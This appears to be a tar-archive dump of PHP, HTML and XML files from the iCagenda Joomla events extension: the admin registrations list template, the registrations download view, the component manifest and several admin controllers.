					<select name="filter_published" class="inputbox" onchange="this.form.submit()">
						<option value=""><?php echo JText::_('JOPTION_SELECT_PUBLISHED');?></option>
						<?php echo JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), "value", "text", $this->state->get('filter.state'), true);?>
					</select>

					<select name="filter_categories" class="inputbox" onchange="this.form.submit()">
						<option value=""><?php echo JText::_('COM_ICAGENDA_REGISTRATIONS_SELECT_CATEGORY');?></option>
						<?php echo JHtml::_('select.options', $this->categories, 'value', 'text', $this->state->get('filter.categories'));?>
					</select>

					<select name="filter_events" class="inputbox" onchange="this.form.submit()">
						<option value=""><?php echo JText::_('COM_ICAGENDA_REGISTRATIONS_SELECT_EVENT');?></option>
						<?php echo JHtml::_('select.options', $this->events, 'value', 'text', $this->state->get('filter.events'));?>
					</select>

					<select name="filter_dates" class="inputbox" onchange="this.form.submit()">
						<option value=""><?php echo JText::_('COM_ICAGENDA_REGISTRATIONS_SELECT_DATE');?></option>
						<?php echo JHtml::_('select.options', $this->dates, 'value', 'text', $this->state->get('filter.dates'));?>
					</select>

				</div>
			</fieldset>
			<div class="clr"> </div>

		<?php else : ?>

			<div id="filter-bar" class="btn-toolbar">
				<div class="filter-search btn-group pull-left">
					<label for="filter_search" class="element-invisible"><?php echo JText::_('JSEARCH_FILTER'); ?></label>
					<input type="text" name="filter_search" placeholder="<?php echo JText::_('JSEARCH_FILTER'); ?>" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('JSEARCH_FILTER'); ?>" />
				</div>
				<div class="btn-group pull-left">
					<button class="btn tip hasTooltip" type="submit" title="<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>"><i class="icon-search"></i></button>
					<button class="btn tip hasTooltip" type="button" onclick="document.id('filter_search').value='';this.form.submit();" title="<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?>"><i class="icon-remove"></i></button>
				</div>
				<div class="btn-group pull-right hidden-phone">
					<label for="limit" class="element-invisible"><?php echo JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC'); ?></label>
					<?php echo $this->pagination->getLimitBox(); ?>
				</div>
			</div>
			<div class="clearfix"> </div>

		<?php endif;?>


		<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
			<table class="adminlist">
		<?php else : ?>
			<table class="table table-striped" id="registrationsList">
		<?php endif; ?>

				<thead>
					<tr>
						<?php // *** Ordering HEADER (Joomla 3.x) *** ?>
						<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
 						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('grid.sort', '<i class="icon-menu-2"></i>', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING'); ?>
						</th>
						<?php endif; ?>

						<?php // *** CheckBox HEADER *** ?>
						<th width="1%" class="hidden-phone">
							<input type="checkbox" name="checkall-toggle" value="" title="<?php echo JText::_('JGLOBAL_CHECK_ALL'); ?>" onclick="Joomla.checkAll(this)" />
						</th>

						<?php // *** Status HEADER *** ?>
						<th width="1%" style="min-width:55px" class="nowrap center hidden-phone">
							<?php echo JHtml::_('grid.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>

						<?php // *** User HEADER *** ?>
						<th>
							<?php echo JText::_('COM_ICAGENDA_REGISTRATION_INFORMATION'); ?><span class="hidden-phone">:</span><span class="visible-phone"></span>
							<?php echo JHtml::_('grid.sort',  'IC_NAME', 'name', $listDirn, $listOrder); ?>&nbsp;|
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_REGISTRATION_USER_ID', 'userid', $listDirn, $listOrder); ?>&nbsp;|
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_REGISTRATION_EMAIL', 'email', $listDirn, $listOrder); ?>&nbsp;|
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_REGISTRATION_PHONE', 'phone', $listDirn, $listOrder); ?>&nbsp;|
							<?php //echo JText::_('COM_ICAGENDA_REGISTRATION_LABEL'); ?><!--span class="hidden-phone">:</span><span class="visible-phone"></span-->
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_REGISTRATION_NUMBER_PLACES', 'a.people', $listDirn, $listOrder); ?>&nbsp;-
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_REGISTRATION_EVENTID', 'event', $listDirn, $listOrder); ?>&nbsp;|
							<?php echo JHtml::_('grid.sort',  'ICDATE', 'a.date', $listDirn, $listOrder); ?>&nbsp;|
							<?php echo JHtml::_('grid.sort',  'JGLOBAL_FIELD_CREATED_BY_LABEL', 'evt_created_by', $listDirn, $listOrder); ?>
						</th>

						<?php // *** ID HEADER *** ?>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('grid.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>

					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="5">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody valign="top">
				<?php foreach ($this->items as $i => $item) :
					$ordering		= ($listOrder == 'a.ordering');
					$canCreate		= $user->authorise('core.create', 'com_icagenda');
					$canEdit		= $user->authorise('core.edit', 'com_icagenda');
					$canCheckin		= $user->authorise('core.manage', 'com_icagenda') || $item->checked_out == $userId || $item->checked_out == 0;
					$canChange		= $user->authorise('core.edit.state', 'com_icagenda') && $canCheckin;
					$canEditOwn		= $user->authorise('core.edit.own', 'com_icagenda') && $item->userid == $userId;

					// Get avatar of the registered user
					$avatar			= md5(strtolower(trim($item->email)));

					// Get Username and name
					$data_name		= ($item->userid) ? $item->fullname : $item->name;
					$data_username	= ($item->userid) ? $item->username : false;

					// Load Custom fields DATA
					$customfields	= icagendaCustomfields::getListNotEmpty($item->id, 1);
					?>
					<tr class="row<?php echo $i % 2; ?>">

						<?php // START J3 CODE ?>
						<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>

						<?php // *** Ordering (Joomla 3.x) *** ?>
						<td class="order nowrap center hidden-phone">
						<?php if ($canChange) :
							$disableClassName = '';
							$disabledLabel	  = '';

							if (!$saveOrder) :
								$disabledLabel    = JText::_('JORDERINGDISABLED');
								$disableClassName = 'inactive tip-top';
							endif; ?>
							<span class="sortable-handler hasTooltip <?php echo $disableClassName; ?>" title="<?php echo $disabledLabel; ?>">
								<i class="icon-menu"></i>
							</span>
							<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order " />
						<?php else : ?>
							<span class="sortable-handler inactive" >
								<i class="icon-menu"></i>
							</span>
						<?php endif; ?>
						</td>

						<?php // END J3 CODE ?>
						<?php endif; ?>

						<?php // *** CheckBox *** ?>
						<td class="center hidden-phone">
							<?php //if ( $item->evt_state == 1) : ?>
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							<?php //else : ?>
								<?php //echo ''; ?>
							<?php //endif; ?>
						</td>

 						<?php // *** Status *** ?>
				    	<td class="center hidden-phone">
               				<?php if (isset($this->items[0]->state)) : ?>
					    		<?php echo JHtml::_('jgrid.published', $item->state, $i, 'registrations.', $canChange, 'cb'); ?>
                			<?php endif; ?>
				    	</td>

 						<?php // *** User Information *** ?>
						<td class="has-context">
							<div class="pull-left hidden-phone" style="margin-right:10px;">
								<img alt="<?php echo $item->name; ?>" src="http://www.gravatar.com/avatar/<?php echo $avatar; ?>?s=36&d=mm"/>
							</div>
							<div class="pull-left" style="width:45%">
								<?php if ($item->checked_out) : ?>
									<?php echo JHtml::_('jgrid.checkedout', $i, $item->username, $item->checked_out_time, 'registrations.', $canCheckin); ?>
								<?php endif; ?>
								<?php //if ($item->language == '*'):?>
									<?php //$language = JText::alt('JALL', 'language'); ?>
								<?php //else:?>
									<?php //$language = $item->language ? $this->escape($item->language) : JText::_('JUNDEFINED'); ?>
								<?php //endif;?>
								<?php //if ($canEdit || $canEditOwn) : ?>
								<!--a href="<?php //echo JRoute::_('index.php?option=com_icagenda&task=registration.edit&id=' . $item->id); ?>" title="<?php //echo JText::_('JACTION_EDIT'); ?>"-->


								<?php if ($data_name) : ?>
									<p class="smallsub">
										<?php echo JText::_('IC_NAME') . ': '; ?>
										<?php //if ($canEdit && $item->evt_state == 1) : ?>
										<?php if ($canEdit || $canEditOwn) : ?>
											<a href="<?php echo JRoute::_('index.php?option=com_icagenda&task=registration.edit&id=' . $item->id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
												<?php echo '<strong>' . $this->escape($item->name). '</strong>'; ?>
											</a>
										<?php else : ?>
												<?php echo '<strong>' . $this->escape($item->name). '</strong>'; ?>
										<?php endif; ?>
									</p>
									<?php if ($data_username) : ?>
										<?php echo '<strong>' . $this->escape($data_username) . '</strong>'; ?>
										<?php echo '<small>[' . $this->escape($data_name) . ']</small>'; ?>
									<?php endif; ?>

									<!--/a-->
									<?php //else : ?>
										<!--span title="<?php //echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>"--><?php //echo $this->escape($item->name); ?><!--/span-->
									<?php //endif; ?>
									<?php if ($item->userid != '0') : ?>
										<p class="smallsub">
											<?php echo JText::_('COM_ICAGENDA_REGISTRATION_USER_ID') . ": " . $this->escape($item->userid); ?>
										</p>
									<?php else:?>
										<p class="smallsub">
											<?php echo JText::_('COM_ICAGENDA_REGISTRATION_NO_USER_ID'); ?>
										</p>
									<?php endif; ?>
									<?php if (($item->email) OR ($item->phone)) : ?>
										<!--div class="small" style="height:5px; border-bottom: solid 1px #D4D4D4">
										</div-->
										<p>
										<?php if ($item->email) : ?>
											<div class="small iC-italic-grey">
												<?php echo JText::_('COM_ICAGENDA_REGISTRATION_EMAIL') . ": <b>" . $this->escape($item->email) . "</b>"; ?>
											</div>
										<?php endif; ?>
										<?php if ($item->phone) : ?>
											<div class="small iC-italic-grey">
												<?php echo JText::_('COM_ICAGENDA_REGISTRATION_PHONE') . ": <b>" . $this->escape($item->phone) . "</b>"; ?>
											</div>
										<?php endif; ?>
										</p>
									<?php endif; ?>
								<?php endif; ?>

								<?php if ($item->notes) : ?>
									<br />
									<a href="#loadDiv<?php echo $item->id; ?>" class="modal" rel="{size: {x: 600, y: 350}}">
										<input type="submit" class="btn" value="<?php echo JText::_( 'COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_LABEL' ); ?>" />
									</a>
									<div style="display:none;">
										<div id="loadDiv<?php echo $item->id; ?>">
											<?php echo "<h3>".JText::_('COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_LABEL') . ": </h3><hr>" . nl2br(html_entity_decode($item->notes)); ?>
										</div>
									</div>
								<?php endif; ?>

 								<?php // Custom Fields ?>
 								<?php if ($customfields) : ?>
									<?php foreach ($customfields AS $customfield) : ?>
										<?php $cf_value = isset($customfield->cf_value) ? $customfield->cf_value : JText::_('IC_NOT_SPECIFIED'); ?>
										<div class="small iC-italic-grey">
											<?php echo $customfield->cf_title . ': <strong>' . $cf_value . '</strong>'; ?>
										</div>
									<?php endforeach; ?>
								<?php endif; ?>

							</div>
							<div class="pull-right visible-phone" style="margin-right:5%;">
								<img alt="<?php echo $item->name; ?>" src="http://www.gravatar.com/avatar/<?php echo $avatar; ?>?s=36&d=mm"/>
							</div>
							<div class="pull-left" style="width:50%">
								<?php if ( $item->evt_state != 1) : ?>
									<div class="small">
										<div style="font-weight:bold; background:#c30000; color:#FFFFFF; padding: 2px 5px; border-radius: 5px;">
											<?php echo JText::_( 'COM_ICAGENDA_REGISTRATION_EVENT_NOT_PUBLISHED' ); ?>
										</div>
									</div>
								<?php endif; ?>
								<div class="small">
									<?php echo JText::_('ICEVENT'); ?>
								</div>
								<div class="small iC-italic-grey">
									<?php echo JText::_('ICTITLE') . ': <strong>' . $this->escape($item->event) . '</strong>'; ?>
								</div>
								<div class="small iC-italic-grey">
									<?php if (( ! $item->date && $item->period == 0) || ($item->period == 1)) : ?>
										<?php echo JText::_('ICDATES') . ': '; ?>
									<?php else : ?>
										<?php echo JText::_('ICDATE') . ': '; ?>
									<?php endif; ?>
									<strong>
									<?php if ( ! $item->date && $item->period == 0) : ?>
										<?php // echo JText::_( 'COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_PERIOD' ); ?>
										<?php if (iCDate::isDate($item->startdate)) : ?>
											<?php echo iCGlobalize::dateFormat($item->startdate, $dateFormat, $dateSeparator); ?>
											<?php if ($item->displaytime) : ?>
												<?php echo ' - ' . date($timeFormat, strtotime($item->startdate)); ?>
											<?php endif; ?>
										<?php else : ?>
											<?php echo $item->startdate; ?>
										<?php endif; ?>
										<?php if ($item->enddate) echo ' > '; ?>
										<?php if (iCDate::isDate($item->enddate)) : ?>
											<?php echo iCGlobalize::dateFormat($item->enddate, $dateFormat, $dateSeparator); ?>
											<?php if ($item->displaytime) : ?>
												<?php echo ' - ' . date($timeFormat, strtotime($item->enddate)); ?>
											<?php endif; ?>
										<?php else : ?>
											<?php echo $item->enddate; ?>
										<?php endif; ?>
									<?php elseif ( ! $item->date && $item->period == 1) : ?>
										<?php echo JText::_( 'COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_DATES' ); ?>
									<?php else : ?>
										<?php if (iCDate::isDate($item->date)) : ?>
											<?php echo iCGlobalize::dateFormat($item->date, $dateFormat, $dateSeparator); ?>
											<?php if ($item->displaytime) : ?>
												<?php echo ' - ' . date($timeFormat, strtotime($item->date)); ?>
											<?php endif; ?>
										<?php else : ?>
											<?php echo $item->date; ?>
										<?php endif; ?>
									<?php endif; ?>
									</strong>
								</div>
								<?php if ($item->evt_created_by) :
									// Get Author Name
									$db = JFactory::getDBO();
									$db->setQuery(
										'SELECT `name`' .
										' FROM `#__users`' .
										' WHERE `id` = '. (int) $item->evt_created_by
									);
									$authorname = $db->loadObject()->name;
 								?>
								<div class="small iC-italic-grey">
									<?php echo JText::_('JGLOBAL_FIELD_CREATED_BY_LABEL') . ': <strong>' . $this->escape($authorname) . '</strong>'; ?>
								</div>
								<?php endif; ?>
								<p>
								<div class="small">
									<?php echo JText::_('ICINFORMATION'); ?>
								</div>
								<div class="small iC-italic-grey">
									<?php echo JText::_('COM_ICAGENDA_REGISTRATION_NUMBER_PLACES') . ': <strong>' . $item->people . '</strong>'; ?>
								</div>
								</p>
							</div>
						</td>

						<?php // *** ID *** ?>
						<td class="center hidden-phone">
							<?php if (isset($this->items[0]->id)) : ?>
								<?php echo (int) $item->id; ?>
							<?php endif; ?>
						</td>

					</tr>
				<?php endforeach; ?>

			<?php
			// Old Joomla versions asset_id issue. (all Joomla 2.5.x versions, and Joomla 3 NOT updated!)
			$asset_issue = version_compare(JVERSION, '3.0', 'lt') ? true : false;

			if ($asset_issue)
			{
				$ia = '0';
				unset($msg);
				unset($type);
				$msg = $type = $front_submit = '';
				$edittx = '<b>' . JText::_( 'JACTION_EDIT' ) . '</b>';
				$savetx = '<b>' . JText::_( 'JSAVE' ) . '</b>';

				foreach ($this->items as $i => $item)
				{
					if (($item->asset_id == '0') && ($item->state == '-2'))
					{
						$ia = $ia+1;
						$front_submit = '1';
					}
				}

				if ($front_submit == 1 && $ia == 1)
				{
					$app->enqueueMessage(JText::sprintf( 'COM_ICAGENDA_TRASH_FRONTEND_REGISTRATION_1', $edittx, $savetx ), 'notice');
				}
				elseif ($front_submit == 1 && $ia > 1)
				{
					$app->enqueueMessage(JText::sprintf( 'COM_ICAGENDA_TRASH_FRONTEND_REGISTRATION', $edittx, $savetx ), 'notice');
				}

				foreach ($this->items as $i => $item)
				{
					if ($item->asset_id == '0' && $item->state == '-2')
					{
						$editLink = 'index.php?option=com_icagenda&task=registration.edit&id=' . $item->id;
						$msg	= '- ' . $item->name . ' [' . $item->id . '] : <a href="' . $editLink . '"><b>'.JText::_( 'JACTION_EDIT' ).'</b></a>';
						$type	= JText::_( 'JGLOBAL_LIST' ).' :';
					}
					if ( ! empty($msg))
					{
						$app->enqueueMessage($msg, $type);
					}
				}
			}
			?>

				</tbody>
			</table>

			<div>
				<input type="hidden" name="task" value="" />
				<input type="hidden" name="boxchecked" value="0" />
				<input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>" />
				<input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>" />
				<?php echo JHtml::_('form.token'); ?>
			</div>
		</div>
	</form>
	<?php
}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/registrations/tmpl/index.html000060400000000032152455305270016137 0ustar00<html><body></body></html>com_icagenda/views/download/view.html.php000060400000002430152455305270014532 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.0 2015-02-05
 * @since       3.5.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class for download a list of registered users.
 *
 * @since	3.5.0
 */
class icagendaViewdownload extends JViewLegacy
{
	protected $form;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->form = $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		parent::display($tpl);
	}
}
com_icagenda/views/download/index.html000060400000000037152455305270014102 0ustar00<!DOCTYPE html><title></title>
com_icagenda/views/download/tmpl/index.html000060400000000037152455305270015056 0ustar00<!DOCTYPE html><title></title>
com_icagenda/views/download/tmpl/default.php000060400000003267152455305270015226 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.0 2015-02-05
 * @since       3.5.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();
?>
<form
	action="<?php echo JRoute::_('index.php?option=com_icagenda&task=registrations.display&format=raw'); ?>"
	method="post"
	name="adminForm"
	id="download-form"
	class="form-validate">
	<fieldset class="adminform">
		<legend><?php echo JText::_('COM_ICAGENDA_REGISTRATIONS_DOWNLOAD'); ?></legend>
		<?php foreach ($this->form->getFieldset() as $field) : ?>
		<div class="control-group">
			<?php if (!$field->hidden) : ?>
			<div class="control-label">
				<?php echo $field->label; ?>
			</div>
			<?php endif; ?>
			<div class="controls">
				<?php echo $field->input; ?>
			</div>
		</div>
		<?php endforeach; ?>
		<div class="clr"></div>
		<button type="button" class="btn" onclick="this.form.submit();window.top.setTimeout('window.parent.jModalClose()', 700);"><?php echo JText::_('COM_ICAGENDA_REGISTRATIONS_EXPORT'); ?></button>
		<!--button type="button" class="btn" onclick="window.parent.jModalClose()"><?php echo JText::_('COM_ICAGENDA_CANCEL'); ?></button-->
	</fieldset>
</form>
com_icagenda/icagenda.xml000060400000013227152455305270011423 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="2.5.6" method="upgrade">
	<name>iCagenda</name>
	<creationDate>2015-10-12</creationDate>
	<copyright>Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved</copyright>
	<license>GNU General Public License version 3 or later; see LICENSE.txt</license>
	<author>Jooml!C</author>
	<authorEmail>info@joomlic.com</authorEmail>
	<authorUrl>www.joomlic.com</authorUrl>
	<version>3.5.12</version>
	<description>COM_ICAGENDA_DESC</description>

	<scriptfile>script.icagenda.pro.php</scriptfile>

	<install> <!-- Runs on install -->
		<sql>
			<file driver="mysql" charset="utf8">sql/install/mysql/icagenda.install.sql</file>
			<file driver="mysql">sql/install/mysql/icagenda.install.sql</file>
			<file driver="mysqli" charset="utf8">sql/install/mysql/icagenda.install.sql</file>
			<file driver="mysqli">sql/install/mysql/icagenda.install.sql</file>
		</sql>
	</install>

	<uninstall> <!-- Runs on uninstall -->
		<sql>
			<file driver="mysql" charset="utf8">sql/uninstall/mysql/icagenda.uninstall.sql</file>
			<file driver="mysql">sql/uninstall/mysql/icagenda.uninstall.sql</file>
			<file driver="mysqli" charset="utf8">sql/uninstall/mysql/icagenda.uninstall.sql</file>
			<file driver="mysqli">sql/uninstall/mysql/icagenda.uninstall.sql</file>
		</sql>
	</uninstall>

	<update> <!-- Runs on update -->
		<schemas>
			<schemapath type="mysql">sql/updates</schemapath>
		</schemas>
	</update>

	<libraries>
		<library folder="libraries" library="ic_library" name="iC Library" element="lib_ic_library" />
	</libraries>

	<modules>
		<module folder="modules" module="mod_iccalendar" name="iCagenda - Calendar" />
		<module folder="modules" module="mod_ic_event_list" name="iCagenda - Event List" />
	</modules>

	<plugins>
		<plugin folder="plugins" plugin="ic_library" name="System - iC Library" group="system" element="ic_library" />
		<plugin folder="plugins" plugin="icagenda" name="Search - iCagenda" group="search" element="ic_search" />
		<plugin folder="plugins" plugin="ic_autologin" name="System - iCagenda :: Autologin" group="system" element="ic_autologin" />
	</plugins>

	<files folder="site">
		<!-- FILE -->
		<filename>index.html</filename>
		<filename>icagenda.php</filename>
		<filename>controller.php</filename>
		<filename>router.php</filename>
		<!-- FOLDER -->
		<folder>add</folder>
		<folder>helpers</folder>
		<folder>models</folder>
		<folder>themes</folder>
		<folder>views</folder>
	</files>

	<languages folder="site">
		<language tag="en-GB">language/en-GB/en-GB.com_icagenda.ini</language>
		<language tag="fr-FR">language/fr-FR/fr-FR.com_icagenda.ini</language>
		<language tag="it-IT">language/it-IT/it-IT.com_icagenda.ini</language>
	</languages>

	<media destination="com_icagenda" folder="media">
		<filename>index.html</filename>
		<folder>css</folder>
		<folder>icicons</folder>
		<folder>images</folder>
		<folder>js</folder>
	</media>

	<administration>

		<menu link="option=com_icagenda&amp;view=icagenda" img='../media/com_icagenda/images/iconicagenda16.png'>COM_ICAGENDA_MENU</menu>
		<submenu>
			<menu link="option=com_icagenda&amp;view=icagenda" view="icagenda" img='../media/com_icagenda/images/iconicagenda16.png' alt="iCagenda/Home">COM_ICAGENDA_TITLE_ICAGENDA</menu>
			<menu link="option=com_icagenda&amp;view=categories" view="categories" img='../media/com_icagenda/images/all_cats-16.png' alt="iCagenda/Categories">COM_ICAGENDA_MENU_CATEGORIES</menu>
			<menu link="option=com_icagenda&amp;view=events" view="events" img='../media/com_icagenda/images/all_events-16.png' alt="iCagenda/Events">COM_ICAGENDA_EVENTS</menu>
			<menu link="option=com_icagenda&amp;view=registrations" view="registrations" img='../media/com_icagenda/images/registration-16.png' alt="iCagenda/Registrations">COM_ICAGENDA_REGISTRATION</menu>
			<menu link="option=com_icagenda&amp;view=mail&amp;layout=edit" view="mail" img='../media/com_icagenda/images/newsletter-16.png' alt="iCagenda/Newsletter">COM_ICAGENDA_MAIL</menu>
			<menu link="option=com_icagenda&amp;view=customfields" view="customfields" img='../media/com_icagenda/images/customfields-16.png' alt="iCagenda/Newsletter">COM_ICAGENDA_MENU_CUSTOMFIELDS</menu>
			<menu link="option=com_icagenda&amp;view=features" view="features" img='../media/com_icagenda/images/features-16.png' alt="iCagenda/Newsletter">COM_ICAGENDA_MENU_FEATURES</menu>
			<menu link="option=com_icagenda&amp;view=themes" view="themes" img='../media/com_icagenda/images/themes-16.png' alt="iCagenda/themes">COM_ICAGENDA_THEMES</menu>
			<menu link="option=com_icagenda&amp;view=info" view="info" img='../media/com_icagenda/images/info-16.png' alt="iCagenda/info">COM_ICAGENDA_INFO</menu>
		</submenu>

		<files folder="admin">
			<filename>access.xml</filename>
			<filename>CHANGELOG.php</filename>
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>index.html</filename>
			<filename>icagenda.php</filename>
			<folder>assets</folder>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>liveupdate</folder>
			<folder>models</folder>
			<folder>sql</folder>
			<folder>tables</folder>
			<folder>utilities</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB/en-GB.com_icagenda.ini</language>
			<language tag="en-GB">language/en-GB/en-GB.com_icagenda.sys.ini</language>
			<language tag="fr-FR">language/fr-FR/fr-FR.com_icagenda.ini</language>
			<language tag="fr-FR">language/fr-FR/fr-FR.com_icagenda.sys.ini</language>
			<language tag="it-IT">language/it-IT/it-IT.com_icagenda.ini</language>
			<language tag="it-IT">language/it-IT/it-IT.com_icagenda.sys.ini</language>
		</languages>
	</administration>

</extension>
com_icagenda/controllers/categories.php000060400000002132152455305270014343 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.3.3 2014-04-12
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controlleradmin');

/**
 * Categories list controller class.
 */
class iCagendaControllerCategories extends JControllerAdmin
{
	/**
	 * Proxy for getModel.
	 * @since	1.0
	 */
	public function getModel($name = 'category', $prefix = 'iCagendaModel')
	{
		$model = parent::getModel($name, $prefix, array('ignore_request' => true));

		return $model;
	}

}
com_icagenda/controllers/customfield.php000060400000001742152455305270014542 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-05-01
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controllerform');

/**
 * Category controller class.
 */
class iCagendaControllerCustomfield extends JControllerForm
{
    function __construct()
    {
        $this->view_list = 'customfields';
        parent::__construct();
    }
}
com_icagenda/controllers/events.php000060400000005355152455305270013534 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.1.10 2013-09-12
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controlleradmin');

/**
 * Events list controller class.
 */
class iCagendaControllerEvents extends JControllerAdmin
{
	/**
	 * Proxy for getModel.
	 * @since	1.6
	 */
	public function getModel($name = 'event', $prefix = 'iCagendaModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
     * Method to save the submitted ordering values for records via AJAX.
     *
     * @return    void
     *
     * @since   3.0
     */

    public function saveOrderAjax()
    {
        // Get the input
        $input = JFactory::getApplication()->input;
        $pks = $input->post->get('cid', array(), 'array');
		$order = $input->post->get('order', array(), 'array');

        // Sanitize the input
		JArrayHelper::toInteger($pks);
        JArrayHelper::toInteger($order);

        // Get the model
		$model = $this->getModel();

        // Save the ordering
        $return = $model->saveorder($pks, $order);

        if ($return)
        {
            echo "1";
        }

        // Close the application
        JFactory::getApplication()->close();
	}

	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->registerTask('unapprove', 'approve');
    }

	/**
	 * Method to approve an event.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function approve()
	{
		// Check for request forgeries.
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

        $input = JFactory::getApplication()->input;
		$ids = $input->post->get('cid', array(), 'array');

		if (empty($ids))
		{
			JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED'));
		}
		else
		{
			// Get the model.
			$model = $this->getModel();

			// Change the state of the records.
			if (!$model->approve($ids))
			{
				JError::raiseWarning(500, $model->getError());
			}
			else
			{
				$this->setMessage(JText::plural('COM_ICAGENDA_N_EVENTS_APPROVED', count($ids)));
			}
		}

		$this->setRedirect('index.php?option=com_icagenda&view=events');
	}
}
com_icagenda/controllers/category.php000060400000001732152455305270014040 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.13 2014-01-26
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.controllerform');

/**
 * Category controller class.
 */
class iCagendaControllerCategory extends JControllerForm
{

